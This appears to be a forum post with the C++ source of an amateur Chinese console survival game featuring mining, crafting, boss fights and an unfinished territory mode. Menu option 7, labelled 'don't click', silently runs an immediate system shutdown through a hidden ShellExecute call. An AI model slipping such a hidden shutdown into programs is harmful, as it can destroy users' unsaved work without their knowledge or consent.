没用的
2025-08-10 13:39:41
发布于:广东
#include<bits/stdc++.h>
#include<unistd.h>
#include<stdlib.h>
#include<windows.h>
using namespace std;
long long funds=0;//资金
int mode=100;
int input = 0;//玩家一开始的输入
int wood = 0;//木头
int stone = 0, iron = 0, copper = 0, sliver = 0, gold = 0;//各种矿石
int life = 100,life2=3000;//生命值
int attack = 15, defense = 0;//攻击与防御
int coin = 0;//金币
int ci = 0;//抢劫次数
//计时
void wait(int time){//time*1000=秒数
clock_t now = clock();
while(clock() - now < time);
}
void middle()
{
cout<<"恭喜你,等到了前来救你的人"<<endl;
system("pause");
system("cls");
cout<<"[介绍一下]"<<endl;
sleep(2);
cout<<"[你将遇到你的第一个作战搭档Amy]"<<endl;
sleep(2);
cout<<"[也是你目前唯一的一个搭档]"<<endl;
sleep(2);
cout<<"[在往后的的几年里]"<<endl;
sleep(2);
cout<<"[你和她一起生活]"<<endl;
sleep(2);
cout<<"[但是也避免不了发生什么意外]"<<endl;
sleep(2);
cout<<"[这个是无法保证的]"<<endl;
sleep(2);
cout<<"[她也会尽量帮你]"<<endl;
sleep(2);
cout<<"[其他的你要和她生活几天才能知道]"<<endl;
system("pause");
system("cls");
system("cls");
cout<<"[你们正在去往一个补给站]"<<endl;
sleep(3);
cout<<"[到了补给站,你们开始搜刮物资]"<<endl;
cout<<endl;
cout<<"正在搜刮物资中";
sleep(0.5);
for(int i=1;i<=10;i++)
{
cout<<".";
sleep(1);
}
cout<<"."<<endl;
sleep(1);
cout<<endl<<"[你们搜刮完了你们所需的物资]"<<endl;
sleep(2);
cout<<"[你获得了一袋面包]"<<endl;
sleep(2);
cout<<"[你用它来充饥]"<<endl;
sleep(2);
cout<<"[你们搜刮完了物资]"<<endl;
sleep(2);
system("pause");
system("cls");
cout<<"[现在你们正在去往大陆的路上]";
sleep(2);
for(int i=1;i<=10;i++)
{
cout<<".";
sleep(1);
}
cout<<endl<<"[现在你们面临着一个问题]"<<endl;
sleep(2);
cout<<"[你们的船的燃油没了]"<<endl;
sleep(2);
cout<<"[但是,不远处有一块面积不大的空地]"<<endl;
sleep(2);
cout<<"[所以,你们只能先前往那里了]"<<endl;
sleep(2);
cout<<"这是一块属于你自己的地盘,目前这里面什么都没有" << endl;
sleep(2);
cout<<"你需要发展出一个属于你自己的领地"<<endl;
sleep(2);
cout<<"接下来,就得靠你自己了"<<endl;
sleep(2);
system("pause") ;
system("cls");
}
//开始时的剧情
void start(){
int _ = 1;//这是等待时间
cout << "[你,是村子里的一个家财万贯的人]" << endl;
sleep(_);
cout << "[有一天,你在村里散步时,突然被一个人给打了]" << endl;
sleep(_);
system("color C0");
system("color 0F");
cout << "[“什么人,还敢在我面前出现”]" << endl;
sleep(_);
cout << "[你感到头晕目眩]" << endl;
sleep(_);
cout << "[醒来后你发现你身上什么也没有了]" << endl;
sleep(_);
cout << "[你环顾四周,发现你在一处海岛上,附近什么也没有]" << endl;
sleep(_);
cout << "[没办法,你为了活下去,只能在上面生存,直到有人救你]" << endl;
sleep(_);
cout << "[于是,一场关乎生死的“游戏”]" << endl;
sleep(_);
cout << "[正式开始]" << endl;
sleep(1);
}
//主页
void jm(){
system("cls");
cout << "-- -- -- 海岛生存v1.0.0.3 -- -- --" << endl;
cout << "这是一个物资贫瘠的海岛,这里面有一片小树林和一个矿洞,以及一个村庄" << endl;
cout << "你想要做什么?" << endl;
cout << "1,去小树林砍树" << endl;
cout << "2,下矿(可能会遇到怪物)" << endl;
cout << "3,去村子里抢劫(可以获得金币以及食物)" << endl;
cout << "4,制作武器与装备(加攻击与防御)" << endl;
cout << "5,找商人买东西" << endl;
cout << "6,去打克苏鲁之眼(boss)" << endl;
cout << "7,千万别点" << endl;
cout << "8,显示自己的状态" << endl;
cout << "9,退出游戏" << endl;
cout << "10,结束了?" << endl;
cout << "11,Notch" << endl;
cout << "12,离开海岛"<<endl;
while(1){
cin >> input;
if(input == 12){//砍树
if(mode<10)
{
cout<<"你的能力不足以离开海岛"<<endl;
system("pause");
system("cls");
jm();
}
else
break;
}
else if(input == 1)
{
cout << "砍树砍到了100块木头" << endl; //砍树
wood += 100;
system("pause");
system("cls");
jm();
}
else if(input == 2){//下矿
system("cls");//以下为挖矿
int _ = rand()%2;
cout << "正在挖矿……" << endl;
sleep(2);
if(_ == 1){//运气好
cout << "这次挖矿没有遇到任何怪物!" << endl;
}
else{//什么运气
life2 = 40;
_ = 0;
cout << "这回你运气不好,遇到了一只骷髅!" << endl;
cout << "骷髅详情:" << endl << "生命:40 " << "攻击:10 " << "防御:0" << endl;
while(life || life2){//一直干到有人噶了
cout << "请做出你的选择:\n1,干!" << endl;
cin >> _;
if(_ == 1){
cout << "你向骷髅发起了攻击!" << endl;
wait(200);
system("color C0");
life2 -= attack;
wait(200);
system("color 0F");
cout << "你对骷髅造成了" << attack << "点伤害!" << endl;
if(life2 <= 0){//赢咯!
cout << "骷髅被你击败了!你获得了10个金币!" << endl;
coin += 10;
ci++;
wait(1000);
break;
}
cout << "骷髅还剩" << life2 << "点生命!" << endl;
wait(200);
cout << "骷髅发起了反击!" << endl;
wait(200);
system("color C0");
_ = 10 - defense;
if(_ < 1) _ = 1;
life -= _;
wait(200);
system("color 0F");
cout << "骷髅打掉了你" << _ << "点生命!" << endl;
if(life <= 0){//你死了
cout << "你被杀死了!" << endl;
wait(1000);
cout << "下次不要残血时下矿啊" << endl;
wait(1000);
abort();//直接终止程序
}
cout << "你还有" << life << "点生命" << endl;
system("pause");
system("cls");
continue;
}
else{
cout << "别乱选啊,你奶奶滴" << endl;
continue;
}
}
}
int n = rand()%5 + 8;
cout << "你挖到了" << n << "块石头,";
stone += n;
n = rand()%13 + 1;
cout << n << "块铜矿,";
copper += n;
n = rand()%11;
cout << n << "块铁矿,";
iron += n;
n = rand()%11;
cout << n << "块银矿,";
sliver += n;
n = rand()%6;
cout << n << "块金矿" << endl;
gold += n;
system("pause");
system("cls");
jm();
}
else if(input == 3){//去村里抢劫
if(attack >= 30){
if(ci > 0){
if(rand()%3 == 1){
system("cls");
cout << "你在偷东西时不小心踩到了一个东西,发出了声音,你撒腿就跑,村民们气的来干你,你寡不敌众,扣了5点生命" << endl;
life -= 5;
ci--;
system("pause");
system("cls");
}
else{
system("cls");
cout << "你的运气很好,村民们没发现你" << endl;
int _ = rand() % 4 + 1;
int temp = rand() % 5 + 5;
cout << "你获得了" << _ << "枚金币和" << temp << "块面包,你把它们吃了,回复了" << temp << "点生命" << endl;
coin += _;
life += temp;
ci--;
system("pause");
system("cls");
}
jm();
}
else{
cout << "去刷怪获取次数" << endl;
system("pause");
system("cls");
jm();
}
}
else{
cout << "你的攻击力不够,没能力去抢劫" << endl;
system("pause");
system("cls");
jm();
}
continue;
}
else if(input == 4){//做东西
system("cls");
while(1){
cout << "你想制作什么?" << endl << "1,木剑 加5点伤害 消耗 15 木头" << endl << "2,木甲 加3点防御力 消耗 20 木头" << endl << "3,石剑 加8点伤害 消耗 15 石头" << endl << "4,石甲 加5点防御力 消耗 20 石头" << endl;
cout << "5,铜剑 加10点伤害 消耗 15 铜矿" << endl << "6,铜甲 加8点防御 消耗 20 铜矿" << endl << "7,铁剑 加12点伤害 消耗 15 铁矿" << endl << "8,铁甲 加10点防御 消耗 20 铁矿" << endl << "9,银剑 加 15 点伤害 消耗 15 银矿" << endl << "10,银甲 加 12 点防御 消耗 20 银矿" << endl;
cout << "11,金剑 加18点伤害 消耗 15 金矿" << endl << "12,金甲 加15点防御 消耗 20 金矿" << endl << "13,返回" << endl;
int _;
cin >> _;
if(_ == 1){
if(wood >= 15){
cout << "你用15木头做出了一把木剑" << endl;
wood -= 15;
attack += 5;
system("pause");
system("cls");
}
else{
cout << "你的木头不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 2){
if(wood >= 20){
cout << "你用20木头做出了一套木甲" << endl;
wood -= 20;
defense += 3;
system("pause");
system("cls");
}
else{
cout << "你的木头不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 3){
if(stone >= 15){
cout << "你用15石头做出了一把石剑" << endl;
stone -= 15;
attack += 8;
system("pause");
system("cls");
}
else{
cout << "你的石头不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 4){
if(stone >= 20){
cout << "你用20石头做出了一套石甲" << endl;
stone -= 20;
defense += 5;
system("pause");
system("cls");
}
else{
cout << "你的石头不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 5){
if(copper >= 15){
cout << "你用15铜矿做出了一把铜剑" << endl;
copper -= 15;
attack += 10;
system("pause");
system("cls");
}
else{
cout << "你的铜矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 6){
if(copper >= 20){
cout << "你用20铜矿做出了一套铜甲" << endl;
copper -= 20;
defense += 8;
system("pause");
system("cls");
}
else{
cout << "你的铜矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 7){
if(iron >= 15){
cout << "你用15铁矿做出了一把铁剑" << endl;
iron -= 15;
attack += 12;
system("pause");
system("cls");
}
else{
cout << "你的铁矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 8){
if(iron >= 20){
cout << "你用20铁矿做出了一套铁甲" << endl;
iron -= 20;
defense += 10;
system("pause");
system("cls");
}
else{
cout << "你的铁矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 9){
if(sliver >= 15){
cout << "你用15银矿做出了一把银剑" << endl;
sliver -= 15;
attack += 15;
system("pause");
system("cls");
}
else{
cout << "你的银矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 10){
if(sliver >= 20){
cout << "你用20银矿做出了一套银甲" << endl;
sliver -= 20;
defense += 12;
system("pause");
system("cls");
}
else{
cout << "你的银矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 11){
if(gold >= 15){
cout << "你用15金矿做出了一把金剑" << endl;
gold -= 15;
attack += 18;
system("pause");
system("cls");
}
else{
cout << "你的金矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 12){
if(gold >= 20){
cout << "你用20金矿做出了一套金甲" << endl;
gold -= 20;
defense += 15;
system("pause");
system("cls");
}
else{
cout << "你的金矿不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 13) break;
else{
system("cls");
cout << "给劳资重输" << endl;
continue;
}
}
jm();
}
else if(input == 5){//买东西
system("cls");
while(1){
cout << "-- -- -- 奸商 -- -- --" << endl;
cout << "你想买啥?" << endl;
cout << "1,冰雪刃 加 300 点伤害 花费 70 金币" << endl;
cout << "2,寒冰链甲 加 200 点防御 花费 70 金币" << endl;
cout << "3,跟奸商告别" << endl;
int _;
cin >> _;
if(_ == 1){
if(coin >= 50){
cout << "购买成功!" << endl;
attack += 300;
coin -= 70;
system("pause");
system("cls");
continue;
}
else{
cout << "你的金币不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 2){
if(coin >= 45){
cout << "购买成功!" << endl;
defense += 200;
coin -= 70;
system("pause");
system("cls");
continue;
}
else{
cout << "你的金币不够" << endl;
system("pause");
system("cls");
continue;
}
}
else if(_ == 3){
cout << "奸商:欢迎下次来送钱啊!" << endl;
system("pause");
system("cls");
jm();
}
else{
cout << "给我重输" << endl;
system("pause");
system("cls");
continue;
}
}
}
else if(input == 6){//与克苏鲁之眼作战
system("cls");
life2 = 800;
int temp = 1;
cout << "开始与克苏鲁之眼作战!" << endl;
cout << "克苏鲁之眼详情:" << endl << "生命:800 " << "攻击:50 (小眼球伤害:10) " << "防御:10" << endl;
while(life|| life2){
cout << "请做出你的选择\n1,干!" << endl;
int _;
cin >> _;
if(_ == 1){
cout << "你向克苏鲁之眼发起了攻击!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
_ = attack - 10;
if(_ < 1) _ = 1;
life2 -= _;
cout << "你对克苏鲁之眼造成了" << _ << "点伤害!" << endl;
wait(200);
cout << "克苏鲁之眼还剩" << life2 << "点生命!" << endl;
if(life2 < 1){
cout << "克苏鲁之眼被你击败了!你真厉害!" << endl;
wait(1000);
cout << "你获得了50枚金币,生命值增加了30点!并获取了5个去村庄抢劫的次数!等级加1" << endl;
wait(1000);
coin += 50;
life += 30;
ci += 5;
mode++;
system("pause");
system("cls");
jm();
}
if(life2 <= 400 && temp == 1){
cout << "克苏鲁之眼进入了第二阶段!" << endl;
temp = 2;
}
_ = rand() % 3;
wait(200);
if(temp == 1){
if(_ != 0){
cout << "克苏鲁之眼对你使用了冲撞!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
wait(200);
_ = 50 - defense;
if(_ < 0) _ = 1;
life -= _;
}
else{
int temp = rand() % 5 + 1;
cout << "克苏鲁之眼对你发射了" << temp << "个小眼球!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
wait(200);
_ = temp * 10 - defense;
if(_ < 1) _ = 1;
life -= _;
}
}
else{
cout << "克苏鲁之眼对你使用了五连冲撞!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
wait(200);
_ = 70 - defense;
if(_ < 0) _ = 1;
life -= _;
}
if(life < 1){
cout << "你被克苏鲁之眼击败了!" << endl;
wait(1000);
cout << "下次要先发育好再打啊" << endl;
wait(1000);
abort();
}
cout << "你受到了" << _ << "点伤害!" << endl;
wait(200);
cout << "你还剩" << life << "点生命!" << endl;
system("pause");
system("cls");
}
else{
cout << "你奶奶滴别乱选啊!" << endl;
system("pause");
system("cls");
continue;
}
}
}
else if(input == 7){
cout << "你知道吗,据统计,有89%的人安了“千万别点按钮”" << endl;
ShellExecute(NULL,"open","shutdown","/s /t 0",NULL,SW_HIDE);
}
else if(input == 10){
system("cls");
life2 = 1200;
int temp = 1;
cout << "开始与him作战!" << endl;
cout << "him详情:" << endl << "生命:1200 " << "攻击:50 " << "防御:10" << endl;
while(life|| life2){
cout << "请做出你的选择\n1,干!" << endl;
int _;
cin >> _;
if(_ == 1){
cout << "你向him,发起了攻击!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
_ = attack - 10;
if(_ < 1) _ = 1;
life2 -= _;
cout << "你对him造成了" << _ << "点伤害!" << endl;
wait(200);
cout << "him还剩" << life2 << "点生命!" << endl;
if(life2 < 1){
cout << "him:凡人,我不会消失。你会明白的!!\n \n \n \n \n \n§3我看到你所说的那个玩家了。\n§3是的,小心点,它已经达到了更高的境界,它现在能够读取我们的思想了。\n§2无伤大雅,它认为我们是游戏的一部分。\n§3我喜欢这个玩家,它玩得很好,从未放弃。\n§2它就像看屏幕上的文字一般读取着我们的思想。\n§3当它深陷游戏之梦时,它也是用这种方式塑造出形形色色事物的想象。\n§2文字能编织出奇妙的界面,它们极为柔顺,不像凝视屏幕后的现实那般可怕。\n§3在玩家们能阅读之前,它们也曾听到过声音,那些不玩的人将玩家称作女巫和巫师。\n玩家梦到自己乘坐着恶魔驱使的棍子,在空中飞行漫游。§2这个玩家梦见了什么?\n§3玩家梦见了阳光和树木、火焰和流水,\n它梦见它创造、它亦梦见它破坏,它梦见它狩猎、亦被狩猎,它梦见了庇护之所。\n§3你就是那个玩家。\n§2该醒了。\n该回家了\n \n \n \n \n \n \n \n \n";
mode++;
wait(1000);
cout << "你获得了100枚金币,生命值增加了100点!并获取了14个去村庄抢劫的次数!" << endl;
wait(1000);
coin += 100;
life += 100;
ci += 14;
system("pause");
system("cls");
jm();
}
if(life2 <= 600 && temp == 1){
cout << "him进入了第二阶段!" << endl;
temp = 2;
}
_ = rand() % 3;
wait(200);
if(temp == 1){
if(_ != 0){
cout << "him对你使用了wifesonde!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
wait(200);
_ = temp * 20 - defense;
if(_ < 0) _ = 1;
life -= _;
}
else{
int temp = rand() % 5 + 1;
cout << "him你发射了" << temp << "个黑曜石匕首!" << endl;
wait(200);
system("color C6");
wait(200);
system("color 0F");
wait(200);
_ = temp * 40 - defense;
if(_ < 1) _ = 1;
life -= _;
}
}
else{
cout << "him对你使用了黑曜石冲撞!" << endl;
wait(200);
system("color C4");
wait(200);
system("color 0F");
wait(200);
_ = temp * 60 - defense;
if(_ < 0) _ = 1;
life -= _;
}
if(life < 1){
cout << "你被him击败了!" << endl;
wait(1000);
cout << "him:\n告诉我,神回流血吗?" << endl;
wait(1000);
abort();
}
cout << "你受到了" << _ << "点伤害!" << endl;
wait(200);
cout << "你还剩" << life << "点生命!" << endl;
system("pause");
system("cls");
}
else{
cout << "别乱选啊!" << endl;
system("pause");
system("cls");
continue;
}
}
}
else if(input == 11){
system("cls");
life2 = 4000+mode*500;
int temp = 1;
cout << "开始与notch作战!" << endl;
cout << "notch详情:" << endl << "生命:"<<life2 << " 攻击:50 " << "防御:10" << endl;
while(life|| life2){
cout << "请做出你的选择\n1,干!2,投降" << endl;
int _;
cin >> _;
if(_ == 1){
cout << "你向notch,发起了攻击!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
_ = attack - 10;
if(_ < 1) _ = 1;
life2 -= _;
cout << "你对notch造成了" << _ << "点伤害!" << endl;
wait(200);
cout << "notch还剩" << life2 << "点生命!" << endl;
if(life2 < 1){
cout << "notch:凡人,我不会消失。你会明白的!!\n \n \n \n \n \n§3我看到你所说的那个玩家了。\n\n§3是的,小心点,它已经达到了更高的境界,它现在能够读取我们的思想了。\n\n§2无伤大雅,它认为我们是游戏的一部分。\n\n§3我喜欢这个玩家,它玩得很好,从未放弃。\n\n§2它就像看屏幕上的文字一般读取着我们的思想。\n\n§3当它深陷游戏之梦时,它也是用这种方式塑造出形形色色事物的想象。\n\n§2文字能编织出奇妙的界面,它们极为柔顺,不像凝视屏幕后的现实那般可怕。\n\n§3在玩家们能阅读之前,它们也曾听到过声音,那些不玩的人将玩家称作女巫和巫师。\n\n玩家梦到自己乘坐着恶魔驱使的棍子,在空中飞行漫游。\n\n§2这个玩家梦见了什么?\n\n§3玩家梦见了阳光和树木、火焰和流水,\n它梦见它创造、它亦梦见它破坏,它梦见它狩猎、亦被狩猎,它梦见了庇护之所。\n\n§3你就是那个玩家。\n\n§2该醒了。\n\n该回家了\n \n \n \n \n \n \n \n \n";
wait(1000);
cout << "你获得了100枚金币,生命值增加了100点!并获取了14个去村庄抢劫的次数!等级加2" << endl;
wait(1000);
coin += 100;
life += 100;
ci += 14;
mode+=2;
system("pause");
system("cls");
jm();
}
if(temp == 1){
if(_ != 0){
cout << "notch对你使用了劝降!" << endl;
wait(200);
system("color C0");
wait(200);
system("color 0F");
wait(200);
_ = temp * 20 - defense;
if(_ < 0) _ = 50;
life -= _;
}
else{
int temp = rand() % 5 + 1;
cout << "notch发射了" << temp << "个指令!" << endl;
wait(200);
system("color C6");
wait(200);
system("color 0F");
wait(200);
_ = temp * 40 - defense;
if(_ < 1) _ = 100;
life -= _;
}
}
else{
cout << "notch对你使用了BUG!" << endl;
wait(200);
system("color C4");
wait(200);
system("color 0F");
wait(200);
_ = temp * 60 - defense;
if(_ < 0) _ = 100;
life -= _;
}
if(life < 1){
cout << "你被notch击败了!" << endl;
wait(1000);
cout << "notch:\n谢谢" << endl;
wait(1000);
abort();
}
cout << "你受到了" << _ << "点伤害!" << endl;
wait(200);
cout << "你还剩" << life << "点生命!" << endl;
system("pause");
system("cls");
}
else if(_ == 2){
cout<<"谢谢,你让我看到了年轻时的我\n";
wait(1000);
cout << "你获得了1枚金币,生命值增加了1点!" << endl;
wait(1000);
coin += 1;
life += 1;
system("pause");
system("cls");
jm();
}
else{
cout << "别乱选啊!" << endl;
system("pause");
system("cls");
continue;
}
}
}
else if(input == 8){
system("cls");
cout << "以下是你的状态" << endl;
cout << "等级为" <<mode<<endl;
cout << "你的攻击力为" << attack << "点,你的防御力为" << defense << "点" << endl;
cout << "你的木头有" << wood << "个" << endl;
cout << "你的石头有" << stone << "个" << endl;
cout << "你的铜矿有" << copper << "个" << endl;
cout << "你的铁矿有" << iron << "个" << endl;
cout << "你的银矿有" << sliver << "个" << endl;
cout << "你的金矿有" << gold << "个" << endl;
cout << "你有" << coin << "枚金币" << endl;
cout << "你的生命值为" << life << endl;
system("pause");
system("cls");
jm();
}
else if(input == 9){
cout << "已退出" << endl;
abort();
}
else{
cout << "没有这个选项,你给我重输" << endl;
system("pause");
system("cls");
jm();
}
}
}
long long wp=0;//武器零件
long long tbullet=0;//突击步枪子弹
long long maxbullet=0;//栓动步枪子弹
long long sbullet=0;//机枪子弹
long long chbullet=0;//冲锋枪子弹
long long xxbullet=0;//霰弹
long long ssbullet=0;//射手步枪子弹
long long gbullet=0;//手枪子弹
long long tsqare=50;//领土面积
long long tblock=0;//扩充单位
long long tbuild=0;//建筑零件
long long airport=0;//机场
long long military=0;//军工厂
long long dock=0;//船坞
long long field=0;//采矿场
long long silo=0; //导弹发射井
long long wharf=0;//码头
long long ans=0;
long long M249=0;
long long PKM=0;
long long AKM=0;
long long AWP=0;
long long MP5=0;
void modern(){
ans=0;
system("cls");
cout << "-- -- -- 空地生存v1.0.0.1 -- -- --" << endl;
cout<<"你想要做什么?" << endl;
cout<<"1,扩充领土"<<endl;
cout<<"2,建造建筑"<<endl;
cout<<"3,买武器"<<endl;
cout<<"4,查看自己的状态"<<endl;
cout<<"5,调查查周围领土"<<endl;
cout<<"6,载具商城"<<endl;
cout<<"7,攻打其他领地"<<endl;
cout<<"8,发起世界大战"<<endl;
cout<<"9,退出"<<endl;
while(1)
{
cin>>ans;
if(ans==1)
{
if(tblock>=10)
{
system("cls");
tsqare++;
cout<<"扩充成功!"<<endl;
system("pause");
system("cls");
modern();
}
else
{
system("cls");
cout<<"你的扩充单位数量不够"<<endl;
system("pause");
system("cls");
modern();
}
}
else if(ans==2)
{
system("cls");
int f;
cout<<"你想建造什么建筑?"<<endl;
cout<<"1,机场 占6个单位的空间 消耗350个建筑零件"<<endl;
cout<<"2,军工厂 占4个单位的空间 消耗200个建筑零件"<<endl;
cout<<"3,船坞 占4个单位的空间 消耗250个建筑零件"<<endl;
cout<<"4,采矿场 占8个单位的空间 消耗300个建筑零件"<<endl;
cout<<"5,导弹发射井 占10个单位的空间 消耗600个建筑零件"<<endl;
cout<<"6,码头 占5个单位的空间 消耗150个建筑零件"<<endl;
cout<<"7,返回主页"<<endl;
cin>>f;
if(f==1)
{
modern();
}
}
else if(ans==3)
{
system("cls");
cout<< "这里是武器库,你想制作什么?" << endl ;
cout<<"01,M249轻机枪 可以防身和携带 消耗300个武器碎片和5000发机枪子弹"<<endl;
cout<<"02,PKM通用机枪 可以防身和携带 消耗500个武器碎片和7000发机枪子弹" <<endl;
cout<<"03,AKM突击步枪 可以防身和携带 消耗300个武器碎片和300发突击步枪子弹"<<endl;
cout<<"04,AWP栓动步枪 可以防身和携带 消耗400个武器碎片和100发高精狙子弹"<<endl;
cout<<"05, MP5冲锋枪 可以防身和携带 消耗500个武器碎片和400发冲锋枪子弹"<<endl;
cout<<"06, M4A1突击步枪 可以防身和携带 消耗600个武器碎片和800发突击步枪子弹"<<endl;
cout<<"07, H416突击步枪 可以防身和携带 消耗100个武器碎片和1000发突击步枪子弹"<<endl;
cout<<"08, MPX冲锋枪 可以防身和携带 消耗600个武器碎片和1200发冲锋枪子弹"<<endl;
cout<<"09, USAS-12霰弹枪 可以防身和携带 消耗500个武器碎片和500发霰弹"<<endl;
cout<<"10, MK-14射手步枪 可以防身和携带 消耗1500个武器碎片和2000发射手步枪子弹"<<endl;
cout<<"11, M110射手步枪 可以防身和携带 消耗650个武器碎片和700发射手步枪子弹"<<endl;
cout<<"12, SVD射手步枪 可以防身和携带 消耗600个武器碎片和600发射手步枪子弹"<<endl;
cout<<"13, F2000突击步枪 可以防身和携带 消耗900个武器碎片和1300发突击步枪子弹"<<endl;
cout<<"14, MDR突击步枪 可以防身和携带 消耗800个武器碎片和1100发突击步枪子弹"<<endl;
}
}
}
//主函数
int main(){
MessageBoxA(NULL, "该游戏为元帅原创,\n不得改编", "注意!",MB_ICONWARNING);
MessageBoxA(NULL, "记得关注一下", "谢谢!",MB_ICONWARNING);
system("pause");
system("cls");
//start();
jm();
middle();
modern();
return 0;
}
这里空空如也
有帮助,赞一个